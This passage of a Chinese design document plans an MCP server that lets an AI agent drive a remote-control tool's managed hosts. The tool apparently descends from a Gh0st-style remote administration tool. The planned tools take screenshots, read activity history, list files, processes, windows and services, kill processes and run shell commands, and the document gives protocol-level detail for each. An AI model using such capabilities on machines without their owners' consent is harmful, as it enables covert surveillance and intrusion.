- **子链接**:屏幕、终端、文件传输、**进程/窗口列表**等功能,服务端下 `COMMAND_*` 后客户端**新建一条 TCP 子链接**回连,数据以 `TOKEN_*` 开头,作为一个**新的 `CONTEXT_OBJECT`** 进入分派。其中进程/窗口列表是**一次性子链接**(回一条 `TOKEN_PSLIST`/`TOKEN_WSLIST` 即关,见 §4.2 模式 A′),终端/屏幕/文件传输则是**持续流子链接**。
两者都由同一个 `MessageHandle(CONTEXT_OBJECT*)` 分派,靠 `ContextObject->GetClientID()` 关联到同一台主机。**判断一个 `TOKEN_*` 属于哪层,看它的数据落在哪个 context 上**:
| 证据 | 结论 |
|------|------|
| 客户端 `KernelManager.cpp:1156` `COMMAND_SYSTEM` → `new IOCPClient` 子链接 + `LoopProcessManager`;`SystemManager.cpp:75` `GetProcessList()` 里 `szBuffer[0]=TOKEN_PSLIST`,经子链接 `Send2Server` 回传 | 进程/窗口列表 = **一次性子链接**(主连接下 `COMMAND_SYSTEM`/`COMMAND_WSLIST`,子连接回 `TOKEN_PSLIST`/`TOKEN_WSLIST`) |
| `2015RemoteDlg.cpp:8527-8536`:`SendScreenPreviewRequest` 用 `ctx->Send2Client(...)`;响应 `TOKEN_SCREEN_PREVIEW_RSP` 在 `MessageHandle:6173` | 屏幕预览 = **主连接 RPC** |
| `WebService.cpp:1836-1900` + `2015RemoteDlg.cpp:6312-6351`:`COMMAND_SHELL` → 客户端建 shell 子上下文 → `TOKEN_SHELL_START`/`TOKEN_TERMINAL_START` | 终端 = **子链接** |
### 4.2 模式 A:主连接 RPC(截图 / 历史活动)
适用于:`get_screenshot`(屏幕预览)、`get_activity_history`(历史活动)。
```
MCP 工具 tools/call
└─► 主 context ctx = FindHost(device_id)
└─► ctx->Send2Client(COMMAND_*) // 主连接发 1 字节命令
客户端处理后在主连接回 TOKEN_*
└─► MessageHandle 收到 TOKEN_*(数据已在 ctx->InDeCompressedBuffer)
├─ if (McpServer().IsPending(devId))
│ McpServer().TakeMainResponse(devId, ctx->GetBuffer(0), ctx->GetBufferLength()); // IO 线程同步拷贝
│ break; // 跳过 MFC 弹框(不 CancelIO,主连接不可关)
└─ 否则走原 MFC 路径(如打开历史活动对话框)
```
要点:
- **无子链接、无 subCtx**:数据就在主 context 缓冲里,MCP 只需在 `MessageHandle` 的对应 `TOKEN_*` 分支里**同步拷贝**到结果缓冲,再唤醒等待者。
- **不 CancelIO**:响应落在主连接上,关闭会断开整个主机会话;故拦截后仅 `TakeMainResponse` + `break`,主连接保持。
- **捕获点因工具而异(必须在 IO 线程同步拷贝)**:屏幕预览的 `TOKEN_SCREEN_PREVIEW_RSP` **直接读本消息的 `szBuffer`/`len`**(`2015RemoteDlg.cpp:6173-6185` 已在 case 内把 `szBuffer` 拷贝到堆消息再转主线程);历史活动的 `TOKEN_REPORT_ACTIVITY` 读 `GetBuffer(0)`(= `InDeCompressedBuffer`)。两者都是每 context 单消息缓冲,主连接 recv 循环处理完本条消息后即被覆盖,故拷贝必须发生在 `MessageHandle` 内部(IO 线程),不能异步等 UI 线程。
- **请求关联**:`get_screenshot` 有 `reqId`(`ScreenPreviewReq.reqId`)可丢弃过期响应;`get_activity_history` **无请求 id**,靠「每 host 单飞行」(见 §4.4)保证正确性。
### 4.2′ 模式 A′:一次性子链接(进程 / 窗口列表)
适用于:`list_processes`、`list_windows`。**这是本技术书相对原设计的重要纠正**:进程/窗口列表**不是**主连接 RPC,而是一次性子链接——`COMMAND_PSLIST` 在主连接上是空操作(客户端 `KernelManager::OnReceive` 无此 case),正确的触发命令是 `COMMAND_SYSTEM`(进程)/`COMMAND_WSLIST`(窗口)。
```
MCP 工具 tools/call
└─► 主 context ctx = FindHost(device_id)
└─► ctx->Send2Client(COMMAND_SYSTEM / COMMAND_WSLIST) // 主连接发 1 字节命令
客户端 KernelManager::OnReceive 收到后新建一条子链接(new IOCPClient,EnableSubConnAuth)
└─► 子链接 ConnectServer 后先发 TOKEN_CONN_AUTH(服务端 SetID 把 clientID 钉在子 context 上)
└─► CSystemManager 构造函数立即 Send2Server(TOKEN_PSLIST / TOKEN_WSLIST)
└─► MessageHandle 在【子 context】上收到 TOKEN_PSLIST / TOKEN_WSLIST(GetClientID()==主 host id)
├─ if (McpServer().IsPending(devId))
│ McpServer().TakeMainResponse(devId, GetBuffer(0), GetBufferLength());
│ ContextObject->CancelIO(); // 用完即关一次性子链接(不关会泄漏)
│ break; // 跳过 WM_OPENSYSTEMDIALOG
└─ 否则 g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, ...) // MFC 路径
```
要点:
- **有子链接、有 subCtx**:数据落在子 context 上,非主 context。子 context 的 `GetClientID()` 已由 `TOKEN_CONN_AUTH`(`2015RemoteDlg.cpp:6291` 的 `SetID`)钉成主连接 clientID,故 `IsPending(devId)` 能与主 context 的 `device_id` 对上。
- **用完即关**:MCP 拦截后 `CancelIO()` 关闭子链接(客户端 IOCPClient 以 `exit_while_disconnect=true` 构造,会随断开退出);不关会泄漏子链接。
- **与 MFC 对话框可并存**:MCP 与 MFC 对话框**各自使用独立的子链接**(客户端每次 `COMMAND_SYSTEM`/`COMMAND_WSLIST` 都新建一条),因此两者互不阻塞——MCP 的一次性调用不会导致 MFC 无法查看进程/窗口,反之亦然。无请求 id 的串扰靠「每 host 单飞行」(§4.4)规避,而非「与 MFC 对话框互斥」。
- **编码**:进程名/路径按 clientType 判定(Windows=GBK/936、LNX/MAC=UTF-8,进程枚举走 A 接口不随 `CLIENT_CAP_UTF8` 转 UTF-8);窗口标题为客户端 UTF-8(按能力位 `CLIENT_CAP_UTF8` 判别,老客户端回落 CP936)。
- **请求关联**:无请求 id → 每 host 单飞行(§4.4)。
- **文件列举也走 A′(`list_files`)**:列盘与进程/窗口同构(`COMMAND_LIST_DRIVE`→一次性子链接→`TOKEN_DRIVE_LIST` 即关);列目录则在此一次性子链接上**多一轮** `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` 后再关。故 `list_files` 归入模式 A′,而非原设计的模式 A(详见 §6.3)。
> **模式 A0(主连接单向命令,无响应)**:`kill_process`(`COMMAND_KILLPROCESS`)、`send_message`(`COMMAND_TALK`)这类「发完即走」的命令没有 MCP 需要的响应数据,**不需要** §4.4 的挂起注册表/超时/单飞行——`Send2Client` 后直接返回成功。它是模式 A 的退化情形,实现最简单。
### 4.3 模式 B:子链接流式(终端 / 完整屏幕 / 完整文件)
适用于:`exec_command`(终端),以及未来的实时远程桌面、完整文件传输。
```
MCP 工具 tools/call
└─► 登记挂起请求 m_Pending[device_id](标记 mode=B)
└─► ctx = FindHost(device_id); ctx->Send2Client(COMMAND_SHELL) // 主连接下命令
客户端建 shell 子链接
└─► MessageHandle 收到 TOKEN_SHELL_START / TOKEN_TERMINAL_START
├─ if (McpServer().IsPending(devId))
│ McpServer().TakeSubContext(devId, ContextObject); // 接管子上下文
│ break; // 跳过弹框
└─ 否则弹 WM_OPENSHELLDIALOG
后续 shell 输出
└─► MessageHandle 顶部 IsTerminalContext 分支 → McpServer().OnShellData(...) 泵数据
```
完全复刻 `WebService` 的 `IsTermPending`/`RegisterTerminalContext`/`OnTerminalData` 模式(`WebService.h:283-287`),但**不复用其长会话状态**——MCP 是「一次性:建链 → 收发 → 关链」。
### 4.4 统一挂起请求注册表
模式 A(主连接 RPC)与模式 A′(一次性子链接)共用一个按 `device_id`(= `context::GetClientID()`)索引的注册表。**当前实现(P2b)只覆盖 A/A′ 两种「一次性响应」**,故结构里只有 `data` + `done`,无需 `mode`/`subCtx`/`timedOut`;未来 P3a 的 `exec_command`(模式 B 流式)再扩展 `subCtx` 字段。
```cpp
struct PendingRequest {
std::string tool;
std::vector<BYTE> data; // 结果缓冲(MessageHandle 内同步拷贝的字节)
bool done = false;
};
std::mutex m_PendingMutex;
std::condition_variable m_PendingCv;
std::map<uint64_t, PendingRequest> m_Pending; // 受 m_PendingMutex 保护
```
暴露给 `MessageHandle` 的钩子:
- `bool IsPending(uint64_t device_id)` —— 该 `TOKEN_*` 是否为 MCP 触发。
- `void TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len)` —— 模式 A/A′:拷贝缓冲、`done=true`、唤醒 `cv`(在 IO 线程阻塞期间同步调用,拷贝安全)。
工具线程侧的方法:
- `bool BeginPending(uint64_t device_id, const std::string& tool)` —— 登记挂起(`false` = 该 host 已有挂起,返回「设备忙」)。
- `bool WaitPending(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs)` —— 等待响应(超时/失败自动清理并返回 `false`)。
- `void ClearPending(uint64_t device_id)` —— 提前退出路径的清理。
**每 host 单飞行**:同一 `device_id` 同一时刻只允许一个挂起请求。这是「无请求 id」工具的正确性前提——进程/窗口/历史活动响应都不带请求 id,若同 host 并发两个请求,无法区分响应归属,故并发第二个请求返回「设备忙」(`-32003`)而非串扰。
> 说明:单飞行只约束「MCP 侧同 host 并发」,**不**约束「MCP 与 MFC 对话框并存」——二者各用独立子链接(模式 A′)或各自触发(模式 A),互不占位。详见 §4.2′。
### 4.5 超时与清理(MCP 与 Web 的关键差异)
Web 是长连接,子链接可长驻;MCP 是**一次性 request/response**。因此:
- **超时**:`wait_for(timeout)` 等数据;当前 P2b 用编译期常量 `kMcpToolTimeoutMs = 20000`(暂未接配置,见 §9)。超时返回 JSON-RPC 错误(`-32001`),并清理注册表。
- **迟到回收(已知边界)**:数据在超时后才到达(`IsPending` 已清)时,拦截分支不成立,响应会**回落到原 MFC 路径**(进程/窗口弹 `WM_OPENSYSTEMDIALOG`,历史活动弹对话框)——属「客户端在 20s 内未响应」这一病态场景的罕见副作用,不会串扰或崩溃。正常路径(<1s 内响应)不受影响。若未来要彻底消除,可给注册表加「超时墓碑 + 宽限期丢弃」。
- **用完即关**:模式 A′(进程/窗口)拦截后 `CancelIO()` 关一次性子链接;模式 A(主连接 RPC)不关主连接。未来模式 B(终端)收集完 stdout 后主动关子上下文。
- **阻塞 httplib worker**:`wait_for` 会阻塞 `HandleMcp` 所在的 httplib worker 线程。httplib 默认线程池约 8 线程,阻塞一个 20–30s 会占住一个 worker。MCP 属低频串行调用(AI 逐条调用),**本阶段可接受**;但需在 §12 显式声明,若未来需并发改用「提交任务 + 轮询结果」的异步模型。
---
## 5. 工具路线图(分阶段)
### 5.1 工具总表
> 「模式」标注实现路径(A=主连接 RPC,A′=一次性子链接,A0=主连接单向命令[无响应],B=子链接流式,—=纯内存)。
| 阶段 | 工具 | 功能 | 复用协议/函数 | 模式 | 风险 |
|------|------|------|---------------|------|------|
| P1(已交付) | `list_online_hosts` | 在线主机列表 | `BuildHostJson` | — | 只读 |
| P2a(已实现并验证) | `search_hosts` | 按名称/IP/分组/OS/在线态过滤 | `list_online_hosts` 内存过滤 | — | 只读 |
| P2a(已实现并验证) | `get_host_detail` | 单机详情(不含活动历史) | 现成 device 字段(`BuildHostJson`) | — | 只读 |
| P2b(已实现并验证) | `list_processes` | 主机进程列表 | `COMMAND_SYSTEM`→(子链接)`TOKEN_PSLIST` | **A′** | 只读 |
| P2b(已实现并验证) | `list_windows` | 主机窗口列表 | `COMMAND_WSLIST`→(子链接)`TOKEN_WSLIST` | **A′** | 只读 |
| P2b(已实现并验证) | `get_activity_history` | 单机历史活动(文本快照) | `COMMAND_QUERY_ACTIVITY`(159)→`TOKEN_REPORT_ACTIVITY`(160) | **A** | 只读 |
| P2c(已实现) | `get_screenshot` | 单帧屏幕截图(JPEG) | `COMMAND_SCREEN_PREVIEW_REQ`→`TOKEN_SCREEN_PREVIEW_RSP` | **A** | 只读 |
| P2c(已实现) | `list_files` | 目录列举 | `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST`(列盘)/ 同子链接再 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST`(列目录) | **A′** | 只读 |
| P2d(已实现) | `list_services` | Windows 服务列表 | `COMMAND_SERVICES`(218)→(子链接)`TOKEN_SERVERLIST` | **A′** | 只读 |
| P2d(已实现) | `get_client_log` | 客户端运行日志快照 | `COMMAND_QUERY_LOG`(155)→(子链接)`TOKEN_REPORT_LOG`(156) | **A′** | 只读 |
| P3 | `exec_command` | 执行命令、返回 stdout | `COMMAND_SHELL`→`TOKEN_SHELL_START`/`TOKEN_SHELL_DATA` | **B** | **写** |
| P3 | `send_message` | 给被控端弹消息 | `COMMAND_TALK`(220) | **A0** | 写(低危) |
| P3 | `kill_process` | 结束进程 | `COMMAND_KILLPROCESS` | **A0** | **写** |
| P4(暂缓) | 实时远程桌面 / 交互终端 | 持续流 | 屏幕/终端子链接 + SSE/轮询 | **B** | 需会话模型 |
### 5.2 Phase 2:只读观测(低风险,无写操作)
全部只读,不改变被控端任何状态,token 模型不变(仍单一静态 token)。P2a 纯内存、零改动;P2b/P2c/P2d 引入模式 A/A′ 无头接管,但只读、可回滚。
### 5.3 Phase 3:安全写操作(需单独评审)
进入 `Mcp_Design.md §1.3` 明确划出的「写操作」区。每个工具交付前需评审三点(见 §8):命令白名单、审计日志、**分组授权 + token 分级**。
### 5.4 Phase 4:会话/流式(暂缓)
实时远程桌面、交互终端等需要「持续流」的能力,与当前 request/response 模型不匹配。需先决定传输方案(SSE / 提交任务 + 轮询),本期**不做**,避免过早引入复杂会话状态。
---
## 6. 分阶段实施计划
> 每期都给出:改动文件、接口、测试点、回滚方式。原则是**每期可独立合入、独立验收、独立回滚**。
### 6.1 P2a:`search_hosts` + `get_host_detail`(纯内存,零子链接)✅ 已实现并验证
**改动**:仅 `McpServer.cpp`。
- `BuildToolsListResult` 增两个工具描述 + schema。
- `BuildToolsCall` 增两个分支,复用 `list_online_hosts` 已遍历出的主机数据做内存过滤/单机抽取(抽出 `CollectOnlineHosts` 收集 + `BuildHostItemSchema` 复用)。
- 无任何 `MessageHandle`/`WebService`/`context` 改动。
**影响面**:极小,只加不改。**回滚**:revert 单文件即可。
**验收**:`tools/list` 返回 3 个工具;`tools/call search_hosts` 按 filter 正确过滤;`get_host_detail` 对在线主机返回正确字段、对离线/非法 id 返回明确错误。
> **范围修正**:原计划 `get_host_detail` 附带「活动历史」,但活动历史是 `COMMAND_QUERY_ACTIVITY`(159)→`TOKEN_REPORT_ACTIVITY`(160) 的**主连接往返**(客户端上报、服务端不落库),非纯内存字段,违反 P2a「纯内存」约束。故 P2a 的 `get_host_detail` 只返回主机实时字段,活动历史单列为 P2b 的 `get_activity_history`(模式 A)。
### 6.2 P2b:`list_processes` + `list_windows` + `get_activity_history`(模式 A′ / 模式 A,首次无头接管)✅ 已实现并验证
> 本节已按实际实现修订:进程/窗口是**一次性子链接**(模式 A′),历史活动是**主连接 RPC**(模式 A),见 §4.2/§4.2′。
**改动**:
- `McpServer.h/.cpp`:
- 加 §4.4 的 `m_Pending` 注册表 + `IsPending`/`TakeMainResponse`/`BeginPending`/`WaitPending`/`ClearPending`,每 host 单飞行检查。
- 加解析器 `ParseProcessList`(PID/name/arch/path,按 clientType 编码转 UTF-8)、`ParseWindowList`(hwnd/title/status/pid,标题按能力位解码);两者都用 `BoundedStrlen` 有界读 + 「空记录 = 尾部零填充」终止,规避客户端 `LocalSize` 对齐引入的尾部零字节。
- 加三个工具:`list_processes`(发 `COMMAND_SYSTEM`)、`list_windows`(发 `COMMAND_WSLIST`)、`get_activity_history`(发 `COMMAND_QUERY_ACTIVITY`)。
- `2015RemoteDlg.cpp` 的 `MessageHandle`:
- `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支(子 context):`if (McpServer().IsPending(devId)) { TakeMainResponse(devId, GetBuffer(0), GetBufferLength()); ContextObject->CancelIO(); break; }`(**在 UI 线程、IO 线程阻塞期间同步拷贝**;用完即关子链接)。
- `TOKEN_REPORT_ACTIVITY` 分支(主 context):`if (McpServer().IsPending(devId)) { TakeMainResponse(...); break; }`(**不 CancelIO**,主连接不可关)。
**影响面**:`MessageHandle` 只新增 `if` 分支,不影响现有 MFC 弹框路径(非 MCP 触发时 `IsPending` 为假,行为不变)。
**验收**:
- MFC 双击进程/窗口管理弹框仍正常(回归点);MFC 历史活动对话框仍正常(回归点)。
- MCP `list_processes` 返回 `[{pid,name,arch,path}]`;`list_windows` 返回 `[{hwnd,title,status,pid}]`;`get_activity_history` 返回 `{records:[...], activityHistory}`(UTF-8 文本,逐行拆记录)。
- 超时(如对离线主机)返回 `-32001` 而非挂死;同 host 并发第二次调用返回 `-32003`「设备忙」;发送失败返回 `-32004`。
- 中文进程名/窗口标题无乱码(进程名按 clientType 解码、窗口标题按能力位 UTF-8)。
**验证记录**(2026-08-19,真实在线主机实测):
- `list_processes`(Windows 11 主机):`pid`/`name`/`arch`/`path` 完整;`pid==0` 仅 1 条(合法 `[System Process]`),无尾部零填充空记录——padding 防护生效。
- `list_windows`:`hwnd`/`title`/`status`/`pid` 完整,无空标题记录;中文标题(「搭建 MCP 架构…」「微信」)UTF-8 正确。
- `get_activity_history`:返回 `[时间] [标题] 时长` 记录,UTF-8 正确。
- 错误路径实测:缺 `id` → `-32602`;非数字 `id` → `-32602`;未知/离线主机 → `-32002`;错误 token → HTTP 401。
- **客户端版本门槛**:`get_activity_history` 依赖客户端 `2026-08-15`(提交 `29929e4`)加入的 `COMMAND_QUERY_ACTIVITY` 处理;更早的客户端(如 `Jul 14 2026`)不识别该命令、无响应,服务端 20s 超时返回 `-32001`——属预期行为,非 bug。测试须选 `Aug 15 2026` 及之后的客户端。
**回滚**:revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 两处 `if` 分支。
### 6.3 P2c:`get_screenshot` + `list_files`(模式 A / A′)✅ 已实现(待实机验证)
> 本节按实际实现修订:`get_screenshot` 是**主连接 RPC**(模式 A,有 reqId 关联);`list_files` 是**一次性子链接**(模式 A′)——列盘 `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST` 即关,列目录则在 `TOKEN_DRIVE_LIST` 到达时就地同子链接再发 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` 后关链。原设计把 `list_files` 误标为模式 A,已纠正(与 §4.2′ 对进程/窗口的同类纠正一致)。
**`get_screenshot`(屏幕预览链路,主连接 RPC,模式 A)**:
- 复用现有双击预览机制 `COMMAND_SCREEN_PREVIEW_REQ`(247)→`TOKEN_SCREEN_PREVIEW_RSP`(248)(`common/commands.h:416-455`,单帧 JPEG,`ScreenPreviewReq`/`ScreenPreviewRspHeader`),`ctx->Send2Client` 发请求、主连接回响应,**不建子链接、不弹框**。
- 复用 MFC 预览的 RTT/FRP 自适应参数挑选 `ChooseScreenPreviewParams` + `SendScreenPreviewRequest`,不重复实现 `GetTargetQualityLevel`。
- **可选 `max_width` 参数**:缺省/0 沿用缩略图档位(最大 1024,4K 源屏高档 1280);`max_width`>0 覆盖宽度并钳制到客户端上限 `[64,1920]`(客户端 `CaptureAndEncodePreview` 硬钳制),供 AI 视觉/OCR 场景请求接近原分辨率(1080p 源屏传 1920 即原分辨率,4K 源屏最多 1920)。`jpegQuality` 仍沿用档位自适应值。
- **请求关联**:`ScreenPreviewReq.reqId` 提供关联;MCP 用独立 16 位 reqId 发生器(`NextPreviewReqId`,跳过 0)+ `SetPendingReqId` 登记期望值,`TakePreviewResponse` 只接受「挂起命中 + reqId 一致」的响应,过期/他途(MFC 预览并发)响应原样回落到 MFC 路径。
- 客户端能力位 `CLIENT_CAP_SCREEN_PREVIEW`(0x0004,仅 Windows 客户端声明):非 Windows 主机返回 `-32005`「不支持」。
- 返回结构:`content[0] = {type:"image", data: base64(JPEG), mimeType:"image/jpeg"}` + `structuredContent.image = {mimeType,width,height,bytes}`(元数据,不含 base64,避免二次膨胀)。
**`list_files`(文件链路,一次性子链接,模式 A′)**:
- 复用经典文件链路 `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST` 与 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST`。**明确范围**:本阶段只做经典链路;项目另有 `COMMAND_GET_FOLDER`(66)、插件版 `TOKEN_DRIVE_LIST_PLUGIN`(150)、V2 文件传输,均列为非目标。
- **两种调用形态**:
- `path` 缺省/空(或 `.`/`/`/`\`)→ 只列盘:`COMMAND_LIST_DRIVE` 开子链接,`TOKEN_DRIVE_LIST` 到达即取走盘列表并关链(与进程/窗口同构的 A′)。
- `path` 指定目录 → 列目录:`TOKEN_DRIVE_LIST` 到达时 `OnDriveList` 就地同子链接下发 `COMMAND_LIST_FILES`+`path`(`BuildListFiles` 已按客户端 ANSI 转好,`OnDriveList` 不再转),等 `TOKEN_FILE_LIST` 取走并关链。
- **编码**:盘符类型名/文件系统、文件名、`path` 均按 **clientType** 判定(与进程名/路径一致):Windows 走 A 接口(`FindFirstFileA`/`GetLogicalDriveStringsA`/`SHGetFileInfoA` 等)= 客户端 ANSI(GBK/936);LNX/MAC 文件系统天然 UTF-8。**不能用 `GetClientEncoding`**——它按能力位返回 CP_UTF8,会误解声明 `CLIENT_CAP_UTF8` 的 Windows 客户端(其文件名实为 GBK)。解析用 `ToUtf8(buf, cp)`、下发用 `ToAnsi(path, cp)`,`cp = (clientType=="LNX"||"MAC") ? CP_UTF8 : 936`。
- **大列表保护**:`ParseFileList(data, 500, cp)` 条目上限 500,避免 JSON 响应过大。
- 返回结构:列盘 → `structuredContent.drives[]`;列目录 → `structuredContent.files[]`(`{name,isDir,size,mtime}`,mtime 为 Unix 秒)。
**改动**:
- `McpServer.h/.cpp`:
- 挂起注册表扩展:`PendingRequest` 增 `path`、`expectedReqId` 字段;`BeginPending(devId, tool, path)` 重载,新增 `NextPreviewReqId`/`SetPendingReqId`/`TakePreviewResponse`/`OnDriveList` 四方法。
- 解析器:`ParseDriveList`(`[letter][type][totalMB:4][freeMB:4][typeName\0][fileSystem\0]`,`letter=='\0'` 终止)、`ParseFileList`(`[attr][filename\0][sizeHigh:4][sizeLow:4][ft:8]`,空记录/上限 500 终止)。
- 工具:`get_screenshot`(模式 A)、`list_files`(模式 A′),注册 schema(`get_screenshot` 无 inputSchema、`list_files` 带可选 `path`)。
- `2015RemoteDlg.cpp` 的 `MessageHandle`(三处拦截):
- `TOKEN_SCREEN_PREVIEW_RSP`(主 context):`TakePreviewResponse(devId, reqId, szBuffer, len)` 命中则 break(**不 CancelIO**,主连接不可关)。
- `TOKEN_DRIVE_LIST`(子 context):`if (IsPending) { OnDriveList(...) ? CancelIO() : /*继续等*/ break; }`(列盘关链、列目录不关)。
- `TOKEN_FILE_LIST`(子 context,**新增 case**):`if (IsPending) TakeMainResponse(...); CancelIO();`(无论命中都关孤儿子链接,防泄漏)。
**影响面**:`MessageHandle` 仅新增 `if` 分支与一个 `TOKEN_FILE_LIST` case;非 MCP 触发时 `IsPending` 为假、`TOKEN_FILE_LIST` case 在 MFC 路径下因 `hDlg` 接管根本不进 `MessageHandle`,现有 MFC 文件管理/屏幕预览弹框路径不变。
**验收 / 实机验证点(待构建后执行)**:
- MFC 双击文件管理弹框仍正常(回归点);MFC 双击预览缩略图仍正常(回归点)。
- MCP `get_screenshot` 返回 JPEG(base64 + 元数据),Windows 主机正常;非 Windows 主机(或未声明 `CLIENT_CAP_SCREEN_PREVIEW`)返回 `-32005`。
- MCP `list_files`(无 `path`)返回 `drives[]`;`list_files(path="C:\\")` 返回 `files[]`(含目录/文件/大小/mtime),中文文件名无乱码;条目 >500 时截断为 500。
- 错误路径:缺 `id`/非数字 `id` → `-32602`;未知/离线主机 → `-32002`;同 host 并发 → `-32003`;发送失败 → `-32004`;超时 → `-32001`。
**回滚**:revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 三处拦截。
### 6.4 P2d:`list_services` + `get_client_log`(模式 A′,只读感知扩展)✅ 已实现并验证
> 本期新增两个**只读**感知工具,均走**一次性子链接**(模式 A′),复用 §4.4 挂起注册表,无新增机制、无写操作。二者与 P2b 的进程/窗口、P2c 的列盘同构:主连接下发命令 → 客户端建子链接回传 → 取走即 `CancelIO`。
**`list_services`(服务管理链路,一次性子链接,仅 Windows)**:
- 复用经典服务链路 `COMMAND_SERVICES`(218)→`TOKEN_SERVERLIST`。客户端 `KernelManager::OnReceive` 收到 `COMMAND_SERVICES` 建子链接 `LoopServicesManager`,`CServicesManager` **构造函数即** `SendServicesList()`(无需再下 `COMMAND_SERVICELIST` 刷新命令),在子链接上一次性回传 `TOKEN_SERVERLIST`。
- **记录格式**(`ServicesManager.cpp::GetServicesList`):`[TOKEN_SERVERLIST:1]` 后接 N 条 `[displayName\0][serviceName\0][binaryPath\0][runWay\0][autoRun\0]`,尾部 `LocalAlloc(LPTR)` 零填充终止。**字段顺序以代码为准**(`displayName` 在前、`serviceName` 在后;源码注释「真实名称/显示名称」标注相反,勿据注释判断)。`runWay`/`autoRun` 为英文枚举串(`Stopped/Running/Paused/…`、`Boot-Start/Auto-Start/Demand-Start/Disabled/…`)。
- **编码**:字段全部来自 Windows A 接口(`EnumServicesStatus`/`QueryServiceConfig` 返回 ANSI),按 clientType 判定 `cp`(与进程/文件一致);仅 Windows 客户端实现(`EnumServicesStatus` 为 Windows-only),LNX/MAC 主机提前返回 `-32005`。
- 返回结构:`structuredContent.services[] = {display_name, service_name, binary_path, status, start_type}`。
**`get_client_log`(客户端运行日志,一次性子链接取首条全量)**:
- 复用经典日志链路 `COMMAND_QUERY_LOG`(155)→`TOKEN_REPORT_LOG`(156)。客户端 `KernelManager::OnReceive` 收到 `COMMAND_QUERY_LOG` 建子链接 `LoopClientLogManager`,`CClientLogManager` 构造函数 `SendLogDump()`(`m_sentIdx=0` 返回**全量**),并启动 push 线程**每 3s 推增量**。
- **关键语义**:`TOKEN_REPORT_LOG` 会**多次**到达(全量 + 每 3s 增量)。MCP 只取**首条全量**:`MessageHandle` 在 `IsPending` 命中时 `TakeMainResponse` 后立即 `CancelIO` 关子链接,后续增量不再到达(与 MFC 日志对话框「持续接收增量、不关链」的路径区分)。
- **日志内容**:YAMA 客户端**自身运行时日志**(`Logger` 内存 ring buffer,最近最多 1000 条,含 `[pid][时间戳] [文件:行号] 消息`),**非** Windows 系统日志。
- **编码**:日志文本为客户端 ANSI(Windows 走 `vsnprintf` A 版),按 clientType 判定 `cp`;`data[0]=token` 后为无 `'\0'` 终止的原始字节,需先 `std::string` 包装再 `ToUtf8`(`ToUtf8` 内部以 `-1` 读 null 终止串)。
- 返回结构:`structuredContent.log = "<原始日志文本>"`。
**改动**:
- `McpServer.h/.cpp`:
- 解析器 `ParseServiceList`(5 字段记录,有界读 + 「displayName 与 serviceName 皆空 = 尾部零填充」终止)。
- schema `BuildServiceListOutputSchema` / `BuildClientLogOutputSchema`(inputSchema 复用 `BuildGetHostDetailInputSchema` 的 `{ id }`)。
- 工具 `BuildListServices`(发 `COMMAND_SERVICES`,LNX/MAC 提前 `-32005`)、`BuildGetClientLog`(发 `COMMAND_QUERY_LOG`)。
- `2015RemoteDlg.cpp` 的 `MessageHandle`(两处拦截):
- `TOKEN_SERVERLIST`(子 context):`if (IsPending) { TakeMainResponse; CancelIO(); break; }`(一次性,取走即关)。
- `TOKEN_REPORT_LOG`(子 context):`if (IsPending) { TakeMainResponse; CancelIO(); break; }`(取首条全量即关,停止 3s 增量)。
**影响面**:`MessageHandle` 仅新增两个 `if` 分支;非 MCP 触发时 `IsPending` 为假,MFC 服务管理弹框与日志对话框路径不变(回归点)。
**验收 / 实机验证点**:
- MFC 双击「服务管理」弹框仍正常(回归点);MFC 打开「客户端运行日志」对话框仍正常、增量持续追加(回归点)。
- MCP `list_services` 对 Windows 主机返回 `services[]`,中文显示名/路径无乱码,`status`/`start_type` 为英文枚举;对 LNX/MAC 主机返回 `-32005`。
- MCP `get_client_log` 返回 `log` 文本快照(UTF-8),中文日志无乱码;空日志返回空 `log`。
- 错误路径:缺 `id`/非数字 `id` → `-32602`;未知/离线主机 → `-32002`;同 host 并发 → `-32003`;发送失败 → `-32004`;超时 → `-32001`。
**验证记录**(2026-08-19,真实在线主机实测):
- `list_services`(Windows 11 EXE 主机「Essential / VCU」):返回 255 个服务,字段序(显示名→服务名→路径→状态→启动类型)正确,`status`/`start_type` 英文枚举、路径完整。
- `get_client_log`(同上主机):返回 510 行 / 40309 字节全量快照,`[pid][时间戳][文件:行号]` 格式正确,中文日志(「启动运行」「任务已存在」「打开注册表失败,错误码:2」等)GBK→UTF-8 转码全部正确。
- 错误路径实测:LNX 主机 `list_services` → `-32005`;缺/非法 `id` → `-32602`;离线 → `-32002`。
- **客户端版本门槛**:`get_client_log` 对 Linux 客户端 20s 超时返回 `-32001`——当前 Linux 客户端运行版本未实现 `COMMAND_QUERY_LOG`→`CClientLogManager` 日志回传链路(服务端下发命令无响应),属版本/实现门槛,非 MCP 缺陷(与 §6.2 `get_activity_history` 对老客户端超时同类)。`list_services` 因服务为 Windows-only(`EnumServicesStatus`),已对 LNX/MAC 提前 `-32005`,不受此门槛影响。
**回滚**:revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 两处拦截。
### 6.5 P3a:`exec_command`(模式 B,写操作,评审后实施)
**改动**:复刻 Web 终端链路(§4.3),把 `m_TermPending` 换成 MCP 自己的挂起标记:
- 下 `COMMAND_SHELL` → `TOKEN_SHELL_START`/`TOKEN_SHELL_DATA` 接管 → 发送命令文本 → 收集 stdout → 关子链接 → 返回。
**完成判据(本工具最难的半截,必须定死)**:交互 shell 没有「命令结束」信号,采用**哨兵方案**:
```
实际下发: cmd ; echo __MCP_DONE_<nonce>__ ; echo __MCP_EXIT_$?__
收集端: 持续累积 TOKEN_SHELL_DATA,直到同时匹配 __MCP_DONE_<nonce>__ 与 __MCP_EXIT_<code>__
取出退出码,剥离哨兵行,返回 stdout
```
`<nonce>` 随机,避免命令自身输出误命中哨兵;整体受 `McpToolTimeoutMs` 兜底(超时强制关链 + 返回错误)。
**前置安全评审**(见 §8)通过后才实施。
